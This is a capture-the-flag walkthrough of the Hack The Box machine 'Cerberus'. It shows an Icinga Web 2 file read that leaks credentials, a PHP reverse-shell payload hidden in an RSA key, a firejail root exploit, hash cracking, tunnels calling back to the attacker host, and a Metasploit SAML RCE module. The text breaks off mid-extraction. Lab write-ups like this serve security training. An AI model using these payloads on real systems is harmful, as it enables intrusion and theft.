Join The Best Hacking Community Worldwide | Hack The Box
Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!
www.hackthebox.com
Nmap
We begin with a full TCP port sweep, then a targeted service/version scan of whatever is open:
ports=$(nmap -p- --min-rate=1000 -T4 10.129.232.100 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.232.100
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://icinga.cerberus.local:8080/icingaweb2Key find: 8080/tcp serving Apache 2.4.52 and a redirect to:
icinga.cerberus.local cerberus.localAdd hostnames so the vhost resolves properly:
# /etc/hosts
10.129.232.100   icinga.cerberus.local cerberus.localDNS
Using the target as a DNS server sometimes leaks useful internal names:
└─$ dig +short @10.129.232.100 cerberus.local
10.129.232.100
172.16.22.1└─$ dig @10.129.232.100 icinga.cerberus.local
; <<>> DiG 9.20.11-4+b1-Debian <<>> @10.129.232.100 icinga.cerberus.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 24816
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;icinga.cerberus.local.         IN      A
;; AUTHORITY SECTION:
cerberus.local.         3600    IN      SOA     dc.cerberus.local. hostmaster.cerberus.local. 531 900 600 86400 3600
;; Query time: 327 msec
;; SERVER: 10.129.232.100#53(10.129.232.100) (UDP)
;; WHEN: Mon Sep 01 11:35:30 NZST 2025
;; MSG SIZE  rcvd: 114Apps often trust their own DNS and reveal internal names (e.g., dc.cerberus.local) which become useful for later pivoting.
Web App - LFI
Browse to:
http://icinga.cerberus.local:8080/icingaweb2Icinga Web 2 is known to have LFI paths under its bundled third-party libs. Try reading OS files via a fixed web path that maps to / on disk:
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts
127.0.0.1 iceinga.cerberus.local iceinga
127.0.1.1 localhost
172.16.22.1 DC.cerberus.local DC cerberus.local
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
matthew:x:1000:1000:matthew:/home/matthew:/bin/bash
ntp:x:108:113::/nonexistent:/usr/sbin/nologin
sssd:x:109:115:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
nagios:x:110:118::/var/lib/nagios:/usr/sbin/nologin
redis:x:111:119::/var/lib/redis:/usr/sbin/nologin
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
icingadb:x:999:999::/etc/icingadb:/sbin/nologinIcinga documentation which shows some interesting configuration files.
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/config.ini
[global]
show_stacktraces = "1"
show_application_state_messages = "1"
config_backend = "db"
config_resource = "icingaweb2"
module_path = "/usr/share/icingaweb2/modules/"
[logging]
log = "syslog"
level = "ERROR"
application = "icingaweb2"
facility = "user"
[themes]
[authentication]
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/roles.ini
[Administrators]
users = "matthew"
permissions = "*"
groups = "Administrators"
unrestricted = "1"
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/authentication.ini
[icingaweb2]
backend = "db"
resource = "icingaweb2"
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini
[icingaweb2]
type = "db"
db = "mysql"
host = "localhost"
dbname = "icingaweb2"
username = "matthew"
password = "IcingaWebPassword2023"
use_ssl = "0"We get database credentials for the Icinga Web 2 backend and a named user (e.g., matthew / IcingaWebPassword2023). Log in via the web UI to confirm admin rights and the exact Icinga Web 2 version.
To make LFI easier, write a Python script to give us a pseudo shell.
#!/usr/bin/python3
import requests
import os
while True:
    file = input("file: ")
    url = f"http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty{file}"
    r = requests.get(url)
    print(r.text)We login as matthew and confirm that the version of Icinga is 2.9.2
We can take note that we are part of the Administrators group within Icinga.
Foothold
The disclosure points out that the User field isn’t properly sanitised when setting up an SSH Resource module. By adding ../ at the start of the path in this field, we can break out of the intended directory and write files elsewhere on the system. We can confirm this behaviour using a local file inclusion (LFI). Let’s give it a try:
http://icinga.cerberus.local:8080/icingaweb2/config/resource#!icingaweb2/config/createresourceTo set this up, we head through the menu path: Configuration → Application → Resource → Create a New Resource, and then choose SSH Identity as the Resource Type.
Icinga requires a valid private key to create the resource. If the data we provide isn’t in the expected format, it returns the error: “The given SSH key is invalid.”
At first glance, you might assume that generating a key with ssh-keygen would be enough. However, Icinga specifically expects an RSA private key created with OpenSSL, not the default format from ssh-keygen.
So, we’ll generate the correct key using OpenSSL, upload it to Icinga, and then confirm its placement using the LFI.
openssl genrsa -out private-key.pem 1024We’ve confirmed that arbitrary file writes on the target are possible. Normally, from here you could continue with the steps in the SonarSource article to exploit the NULL byte bug. However, this approach won’t work in our case, as the target system’s OpenSSL library appears to have already been patched against it.
Before moving on, let’s take a closer look at what the NULL byte bug actually involves.
A quick Google search for OpenSSL null byte bug brings up this bug tracker entry, which explains the issue as follows:
It looks like this is assuming a valid cert can not be a valid PHP file, but I am not sure why exactly not? The standard https://datatracker.ietf.org/doc/html/rfc7468#section-5.2 allows arbitrary text before BEGIN and after END lines, and you can easily insert PHP code there. Assuming that if the text is a valid certificate for OpenSSL then it's safe for all other purposes is just not secure. To test this, we’ll place a small PHP payload at the beginning of the RSA key and then submit it to the same endpoint as before. This time, we’ll save the resulting file to /dev/shm/test1.txt.
Using the LFI to read back our written file confirms that the process worked as expected. The next challenge is figuring out how to turn this into remote code execution on the target.
Since we already have administrator access in Icinga, one option is to create a custom Icinga module. We can write this module to the filesystem via our path traversal, then update the module path setting in Icinga to point to the location we’ve written to.
When looking at how Icinga modules are structured, the configuration.php file stands out straight away. According to the tutorial, this file contains the global configuration for a module, meaning it is loaded first when the module is initialised. That makes it an ideal place to include our payload.
We can reuse the same test directory and set the module path to /dev/shm, which we’ve already confirmed works with our prepending LFI.
# Generate a reverse shell payload
echo "sh -i >& /dev/tcp/10.10.16.141/10001 0>&1" | base64 -w 0# Place the final output in the Private Key section of the Icinga resource.
<?php
{
        system("echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTQxLzEwMDAxIDA+JjEK|base64 -d|bash");
}
?>
-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALp7mMhjIVtrWyl6
QSJUVFduxnrS94TqKUP088rIEybTUiQtoyffRQHIE6GSGV9QtB4D3LsJcWmOcZM8
SXHEUP6FpMFCAhH7Gj0bgtJs8e1lENNvMG7vHNbhWyGjB1bOezWStlVbLIUl+j8t
OSqrb9zeMva6bbfRcPWL2c6b0FLTAgMBAAECgYEAum/xGn5JDi3xsTEhx2GKBPOi
CY+7mK3G3cMarWSECTACklryIF3Oju5p+gGnzixQNyXjWzcgpMidcfc28j+0PFyq
PymGH26a3frQ2A++OkdvLkbl816m1meOjInkvBR7lJ1azidTHgraQndfZcUnaqE8
C5iJ7HS0VP2qT1wYq5kCQQDpUSUxgtSe9PeCHeETwlCpot9YSeEW/IV6i8SZke/B
LWGiemeb4h34XpnfoL2wp3MuSgRikUJVZEZIGqyFBkuXAkEAzJzUhwjmeFOfuv4W
ccXDggohh3vsVA9fWjusSajkGGnReyemDPWu2NZgbO1l0M/EVZH6asAL0zsBSI4d
MRiKJQJAAdRzGDpQdJazQj/9vevuOgZe/hBGRanhWh6yggnU+YzjkSSon15codAM
IObf1fzaOGi4NBWzkXvh2TrsU3bDLQJBAMltltd8jo5kHHoUSvoj6yzoVkuvVl8G
ZyNIXXqCNlJGUgAAbzqQ3lj+6hwxtKrU7n4i4DgY6Us/6iqIJPrBIrUCQQDnRunL
V74w5EeP7JYTMkXUUPKqhEvXH7qBUxvqAx2xKcvz4bLnaXslZBryoisZzJZTWJHx
OXw+DxYnREctUTtL
-----END PRIVATE KEY-----
We now need to update the User field so that it points to:
../../../../../dev/shm/training/configuration.phpStart the listener for reverse shell:
nc -lvnp 10001Next, we’ll enable our custom module so it runs automatically. To do this, we first need to adjust Icinga’s configuration.
Head to Configuration → Application → General, then update the Module Path setting to /dev/shm. Finally, click Save Changes to apply the update.
Now it’s time to enable the module we created. In our example, this is the training module, which can be found under Configuration → Modules.
Once we enable and access the module, we get a working connection.
To upgrade to a better shell, run:
python3 -c 'import pty; pty.spawn("/bin/bash")'Lateral Movement
Next, let’s check the system for SUID binaries by running:
find / -perm -u=s -type f 2>/dev/nullwww-data@icinga:/usr/share/icingaweb2/public$ find / -perm -u=s -type f 2>/dev/null
<aweb2/public$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/ccreds_chkpwd
/usr/bin/mount
/usr/bin/sudo
/usr/bin/firejail
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/ksu
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/su
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1As another option, we can upload and run LinPEAS to help identify possible privilege escalation paths. From the results, one binary in particular stands out /usr/bin/firejail as it isn’t a commonly recognised one.
The next step is to check which version of the tool is installed, as this can reveal whether any known exploits apply to it.
firejail --versionLet’s search online for “firejail exploit 0.9.68rc1”. This leads us to a write-up describing the vulnerability, along with a Proof of Concept (PoC).
After downloading the PoC, we simply rename the file from firejoin_py.bin to firejoin.py.
An unprivileged user in the system can fake a legit Firejail process by
providing a symlink at /run/firejail/mnt/join that points to a file that
fulfils the requirements listed in the previous section. By creating a
custom user and mount namespace the attacker can create an environment
of its own where mounting tmpfs file systems in arbitrary locations is
possible.We save the PoC as firejoin.py, upload it to the target machine, and then run it from our first shell:
chmod +x firejoin.py
./firejoin.pyIn the second shell, we take the command shown in the exploit’s output and run it to complete the process.
firejail --join=1474With that, we’ve successfully gained root access on the target.
Container Breakout
As always, we begin with some basic enumeration. Checking the running processes quickly shows that this machine is domain-joined through SSSD. Let’s dig into that further to see if it reveals any useful information.
ps aux | grep rootroot         573  0.0  2.3  93916 21188 ?        Ss   20:59   0:00 /usr/sbin/sssd -i --logger=files
root         628  0.0  3.4 282620 30364 ?        Ss   20:59   0:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
root         673  0.0  0.5   7144  5108 ?        Ss   20:59   0:00 /usr/sbin/apache2 -k start
root         868  0.0  2.6  98216 23484 ?        S    20:59   0:00 /usr/libexec/sssd/sssd_be --domain cerberus.local --uid 0 --gid 0 --logger=files
root         958  0.0  5.6 109656 50164 ?        S    20:59   0:00 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root         959  0.0  2.3  83344 21144 ?        S    20:59   0:00 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=filesInside the /var/lib/sss directory, we notice that the db folder holds a number of cache files. These files act as a domain cache database and may contain information about user credentials.
We can inspect one of these files using the strings command, and then filter out the repeated entries to see if anything useful can be uncovered.
strings cache_cerberus.local.ldb | sort -u | headroot@icinga:/var/lib/sss/db# strings cache_cerberus.local.ldb | sort -u | head
<# strings cache_cerberus.local.ldb | sort -u | head
$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0
&DN=@ATTRIBUTES
&DN=@BASEINFO
&DN=@INDEX:CN:CERBERUS.LOCAL
&DN=@INDEX:CN:CERTMAP
&DN=@INDEX:CN:GROUPS
&DN=@INDEX:CN:RANGES
&DN=@INDEX:CN:SUDORULES
&DN=@INDEX:CN:SYSDB
&DN=@INDEX:CN:USERS
root@icinga:/var/lib/sss/db#Straight away we uncover a hash, and further inspection of the file points to the user being matthew.
The next step is to try and crack this hash:
hashcat -a 0 -m 1800 hash /usr/share/wordlists/rockyou.txt$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0:147258369root@icinga:/var/lib/sss/db# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.22.2  netmask 255.255.255.240  broadcast 172.16.22.15
        inet6 fe80::215:5dff:fe5f:e801  prefixlen 64  scopeid 0x20<link>
        ether 00:15:5d:5f:e8:01  txqueuelen 1000  (Ethernet)
        RX packets 2519  bytes 306872 (306.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2069  bytes 2534382 (2.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2334  bytes 178088 (178.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2334  bytes 178088 (178.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0Before we can make use of these credentials, we’ll need to configure proper routing.
To do this, we’ll set up the routes using Ligolo-ng.
┌──(kali㉿kali)-[~/Tools]
└─$ sudo ip tuntap add user kali mode tun ligolo                                                                                                                                                                                         
┌──(kali㉿kali)-[~/Tools]
└─$ sudo ip link set ligolo up 
                                                                                                                
┌──(kali㉿kali)-[~/Tools]
└─$ sudo ip route add 172.16.22.0/24 dev ligolo The first step is to start the Ligolo-ng server, which will act as the listener for our agent connections.
┌──(kali㉿kali)-[~/Tools]
└─$ ./proxy -selfcert
INFO[0000] Loading configuration file ligolo-ng.yaml    
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
INFO[0000] Listening on 0.0.0.0:11601                   
INFO[0000] Starting Ligolo-ng Web, API URL is set to: http://127.0.0.1:8081 
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   
  Made in France ♥            by @Nicocha30!
  Version: 0.8.1
ligolo-ng » WARN[0000] Ligolo-ng API is experimental, and should be running behind a reverse-proxy if publicly exposed. 
Next, we upload the Ligolo-ng agent to the target machine and use it to establish a connection back to our Ligolo server.
root@icinga:/tmp# ./agent -connect 10.10.16.141:11601 -ignore-cert
./agent -connect 10.10.16.141:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established                        addr="10.10.16.141:11601"Once the server receives the incoming connection from the agent, we can go ahead and start the tunnel.
INFO[0282] Agent joined.                                 id=00155d5fe801 name=root@icinga remote="10.129.235.113:49860"
ligolo-ng » 
ligolo-ng » session
? Specify a session : 1 - root@icinga - 10.129.235.113:49860 - 00155d5fe801
[Agent : root@icinga] » start
INFO[0290] Starting tunnel to root@icinga (00155d5fe801) We can quickly scan the 172.16.22.0/24 network and notice that WinRM is open on the domain controller.
└─$ nxc winrm 172.16.22.0/24
WINRM       172.16.22.1     5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:cerberus.local)Using Matthew’s credentials in a password spray against the domain controller gives us a successful login.
└─$ nxc winrm 172.16.22.1 -u matthew -p 147258369
WINRM       172.16.22.1     5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:cerberus.local)
WINRM       172.16.22.1     5985   DC               [+] cerberus.local\matthew:147258369 (Pwn3d!)With valid credentials in hand, we can now use Evil-WinRM to establish access to the target system.
evil-winrm -i 172.16.22.1 -u matthew -p 147258369└─$ evil-winrm -i 172.16.22.1 -u matthew -p 147258369
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\matthew\Documents> 
The user flag is located at:
C:\Users\matthew\DesktopPrivilege Escalation
By checking the listening ports on this target, we can see a few that suggest there are additional services running on the machine.
netstat -ano | select-string LIST<SNIP>
TCP    0.0.0.0:8888           0.0.0.0:0              LISTENING       5400
TCP    0.0.0.0:9251           0.0.0.0:0              LISTENING       5400
TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       3116
<SNIP>Looking up the process IDs tied to these listening ports reveals that they’re being run by Java.
get-process -pid 5400
get-process -pid 3116*Evil-WinRM* PS C:\Users\matthew\Desktop> get-process -pid 5400
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   1571      62   316160     290660              5400   0 java
*Evil-WinRM* PS C:\Users\matthew\Desktop> get-process -pid 3116
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    486      30    36908      47380              3116   0 Microsoft.ActiveDirectory.WebServices
A quick Google search shows that port 9251 is linked to ADSelfService Plus, an Active Directory management tool developed by ManageEngine.
To access this service, we’ll set up a new SOCKS proxy and then update our /etc/hosts file so that dc.cerberus.local resolves to 127.0.0.1. We can achieve this by using Chisel.
Let’s set up a new SOCS proxy and modify our /etc/hosts file to point dc.cerberus.local to 127.0.0.1 so we can access it. We can use chisel for this.
<SNIP>
10.129.232.100  icinga.cerberus.local cerberus.local
127.0.0.1       dc.cerberus.localWe start by running Chisel in server mode on our Kali machine. We’ll configure it to listen on port 6666, and use the --socks5 flag to enable a SOCKS proxy. We also add the --reverse flag so that traffic is reverse-forwarded back through the server.
┌──(kali㉿kali)-[~/Tools]
└─$ ./chisel server --socks5 -p 6666 --reverse
2025/09/01 12:00:45 server: Reverse tunnelling enabled
2025/09/01 12:00:45 server: Fingerprint rUKf0AenU4R9IilX8SM85jkK6JxDZfl/1xsESr4HhX0=
2025/09/01 12:00:45 server: Listening on http://0.0.0.0:6666Next, we upload chisel.exe to the target machine and run it in client mode. We configure it to connect back to our server on port 6666, and use the argument R:8888:socks. This sets up port 8888 on the Chisel server, reverse-forwards the traffic, and designates that port for use as our SOCKS proxy.
*Evil-WinRM* PS C:\Users\matthew\Documents> iwr -uri http://10.10.16.141:8000/chisel.exe -Outfile chisel.exe
*Evil-WinRM* PS C:\Users\matthew\Documents> start-process -filepath .\chisel.exe -args "client 10.10.16.141:6666 R:8888:socks"On the Chisel server, we can now see that the tunnel has been successfully established.
└─$ ./chisel server --socks5 -p 6666 --reverse
2025/09/01 12:00:45 server: Reverse tunnelling enabled
2025/09/01 12:00:45 server: Fingerprint rUKf0AenU4R9IilX8SM85jkK6JxDZfl/1xsESr4HhX0=
2025/09/01 12:00:45 server: Listening on http://0.0.0.0:6666
2025/09/01 12:10:47 server: session#1: tun: proxy#R:127.0.0.1:8888=>socks: ListeningNext, we update our Proxychains configuration so that it points to the new proxy endpoint we just set up.
sudo nano /etc/proxychains.conf[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 8888With FoxyProxy in our browser, we configure it to use the new SOCKS5 proxy at 127.0.0.1:8888. Once that’s in place, we can browse to:
https://dc.cerberus.local:9251We can observe that the site performs several redirects, eventually landing on a URL that suggests SAML (Security Assertion Markup Language) authentication is being used in combination with ADFS.
https://dc.cerberus.local/adfs/ls/?SAMLRequest=pVNdb9owFH3fr4j8TuK4CQSLpGKwakh0iyDdw14m49xQS47NbIe2%2F74OHx2bNiZtT5bsc%2B8995zjye1zK4M9GCu0ylEcYhSA4roWapujh%2BpukKHb4t3EslaSHZ127lGt4HsH1gVTa8E4XzfTynYtmDWYveDwsFrm6NG5naVRNJ%2FRMUnjqG%2Bw1FuhouGIZXWM4%2BEYJ5jUfMiGoyTZZA3P2IizmPEmyzakQcHcTxGKuQO1c8OahxzMBkxnQ6k5kxGrGxtJG6FgMc%2FRt1GaJjxtIEk3I988JWwMLB3DDcZNMryJPczaDhbKOqZcjggm6QCPBziuMKYxoZiESUy%2BoqA02mmu5Xuhjnp0RlHNrLBUsRYsdZyup%2FdLSkJMN0eQpR%2BrqhyUn9fVocFe1GA%2BeXSO7pliW%2FigvAgQTOdrkM1JsaCUnUXBl7MNpLfBG6MsPQp%2FffTuxBMVR5%2FoYUET3GnTMne9tr8R9aA5QCkoJ9zLT7Ovl7NzBlDx%2F45Pokv6xTl0vXqLeaml4C%2FBVEr9NDPAnFfUmQ7QX9eMw%2FiXNTtld8BFI6BG0ducU66hPqTch9rBswtmut0xI2zvCzwz7t5UvoTNpFdiBc0%2FKXcVxinve%2Fvr0h9P2tR9LIF7npVhfhFt3Fm43zEqTo9%2F2O%2FH8%2BXfLl4B&RelayState=aHR0cHM6Ly9EQzo5MjUxL3NhbWxMb2dpbi9MT0dJTl9BVVRIIf we take the SAMLRequest and run it through a URL decoder (for example, using urldecoder.org or the Burp Suite Decoder), we can then feed the result into a SAML decoder such as the one on samltool.com. This produces the underlying XML.
The full XML is:
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:AuthnRequest AssertionConsumerServiceURL="https://DC:9251/samlLogin/67a8d101690402dc6a6744b8fc8a7ca1acf88b2f" Destination="https://dc.cerberus.local/adfs/ls/" ID="_7554c5fe45b7c6a52a9ea59e300f4631" IssueInstant="2025-09-01T00:12:02.412Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" ProviderName="ManageEngine ADSelfService Plus" Version="2.0" xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">https://DC:9251/samlLogin/67a8d101690402dc6a6744b8fc8a7ca1acf88b2f</saml2:Issuer><saml2p:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"/><saml2p:RequestedAuthnContext Comparison="exact"><saml2:AuthnContextClassRef xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2p:RequestedAuthnContext></saml2p:AuthnRequest>The decoded output reveals details about the SAML assertion, along with a GUID value:
67a8d101690402dc6a6744b8fc8a7ca1acf88b2fA quick Google search for adselfservice plus saml exploit brings us to a Rapid7 write-up. This details a vulnerability and provides a ready-made Metasploit module for it.
Let’s go ahead and make use of this module in Metasploit.
└─$ msfconsole -q                                      
msf6 > use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > show options
Module options (exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966):
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   GUID                          yes       The SAML endpoint GUID
   ISSUER_URL                    yes       The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
   RELAY_STATE                   no        The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT        9251             yes       The target port (TCP)
   SSL          true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI    /samlLogin       yes       The SAML endpoint URL
   URIPATH                       no        The URI to use for this exploit (default is random)
   VHOST                         no        HTTP server virtual host
   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   1   Windows Command
View the full module info with the info, or info -d command.
The module requires both a GUID and an ISSUER_URL. We already have the GUID, but we’re still missing the Issuer URL, so we’ll need to continue our enumeration to uncover it.
ISSUER URL
A quick Google search for ADFS issuer URL gives us an idea of what the format should look like.
We can also check the directory:
C:\Program Files (x86)\ManageEngine\ADSelfService Plus\backup*Evil-WinRM* PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup> ls
    Directory: C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/16/2025  10:14 PM         636500 250516-221358.ezip
-a----        2/15/2023   7:16 AM         320225 OfflineBackup_20230214064809.ezipWe can grab the backup file using Evil-WinRM’s download feature and then try to extract it with 7-Zip. However, the extraction fails because the archive is password protected.
*Evil-WinRM* PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup> download OfflineBackup_20230214064809.ezip
                                        
Info: Downloading C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup\OfflineBackup_20230214064809.ezip to OfflineBackup_20230214064809.ezip
                                        
Info: Download successful!┌──(kali㉿kali)-[~/Cerberus]
└─$ mkdir Backup && cd Backup                      
                                                                                                                                                                                             
┌──(kali㉿kali)-[~/Cerberus/Backup]
└─$ mv ~/Cerberus/OfflineBackup_20230214064809.ezip .
                                                                                                                                                                                             
┌──(kali㉿kali)-[~/Cerberus/Backup]
└─$ 7z x OfflineBackup_20230214064809.ezip 
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 320225 bytes (313 KiB)
Extracting archive: OfflineBackup_20230214064809.ezip
--
Path = OfflineBackup_20230214064809.ezip
Type = 7z
Physical Size = 320225
Headers Size = 8337
Method = LZMA2:3m 7zAES
Solid = +
Blocks = 1
    
Enter password (will not be echoed):A quick Google search for “adselfservice backup zip default password” shows that the default password is simply the filename written in reverse.
We can reverse the filename string with a simple Python one-liner:
└─$ python -c 'print("OfflineBackup_20230214064809"[::-1])' 
90846041203202_pukcaBenilffOThe password works, and we’re able to extract the archive, revealing a total of 979 files.
└─$ 7z x OfflineBackup_20230214064809.ezip 
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
